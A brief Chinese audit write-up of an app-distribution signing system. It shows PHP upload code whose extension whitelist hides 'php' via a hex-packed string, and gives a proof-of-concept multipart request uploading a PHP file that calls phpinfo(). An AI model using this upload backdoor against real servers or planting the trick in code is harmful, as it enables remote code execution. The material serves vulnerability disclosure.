某度APP分发签名系统审计

<?php//解密的源码if (!empty($_FILES)) {    $filepart = pathinfo($_FILES['app']['name']);    $extension = strtolower($filepart['extension']);    if (in_array($extension, array('ipa', 'apk', 'mobileconfig', pack('H*', 706870)))) {        $time = $_POST['time'];        preg_match('/^(\d+\-\d+)$/', $time) or exit('-1');        $dir = '../../../data/tmp/' . $time . '/';        if (!is_dir($dir)) {            @mkdir($dir, 0777, true);        }        $file = '../../../data/tmp/' . $time . '.' . $extension;        @move_uploaded_file($_FILES['app']['tmp_name'], $file);        if ($extension == 'ipa') {            include_once '../zip/zip.php';            $zip = new PclZip($file);            $zip->extract(PCLZIP_OPT_PATH, $dir, PCLZIP_OPT_BY_PREG, '/^Payload\/.*.app\/Info.plist$/');            $zip->extract(PCLZIP_OPT_PATH, $dir, PCLZIP_OPT_BY_PREG, '/^Payload\/.*.app\/embedded.mobileprovision$/');            $zip->extract(PCLZIP_OPT_PATH, $dir, PCLZIP_OPT_BY_PREG, '/^Payload\/.*.app\/(?!.*\/).*.png$/');        }        echo "{'extension':'{$extension}','time':'{$time}'}";    } else {        echo '-1';    }}

<?php echo pack('H*', 706870);?>

POST /source/pack/upload/2upload/index-uplog.php HTTP/1.1Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7Accept-Encoding: gzip, deflate, br, zstdAccept-Language: zh-CN,zh;q=0.9,ru;q=0.8,en;q=0.7Cache-Control: max-age=0Connection: keep-aliveContent-Length: 290Content-Type: multipart/form-data; boundary=----WebKitFormBoundaryfF7NbGp0PAFq8MkdHost: 127.0.0.1Origin: http://127.0.0.1Referer: http://127.0.0.1/source/pack/upload/2upload/index-uplog.phpSec-Fetch-Dest: documentSec-Fetch-Mode: navigateSec-Fetch-Site: noneUpgrade-Insecure-Requests: 1User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/125.0.0.0 Safari/537.36sec-ch-ua: "Google Chrome";v="125", "Chromium";v="125", "Not.A/Brand";v="24"sec-ch-ua-mobile: ?0sec-ch-ua-platform: "Windows"sec-fetch-user: ?1

------WebKitFormBoundary03rNBzFMIytvpWhyContent-Disposition: form-data; name="time"

1-2------WebKitFormBoundary03rNBzFMIytvpWhyContent-Disposition: form-data; name="app"; filename="1.php"Content-Type: image/jpeg

<?php phpinfo();?>------WebKitFormBoundary03rNBzFMIytvpWhy--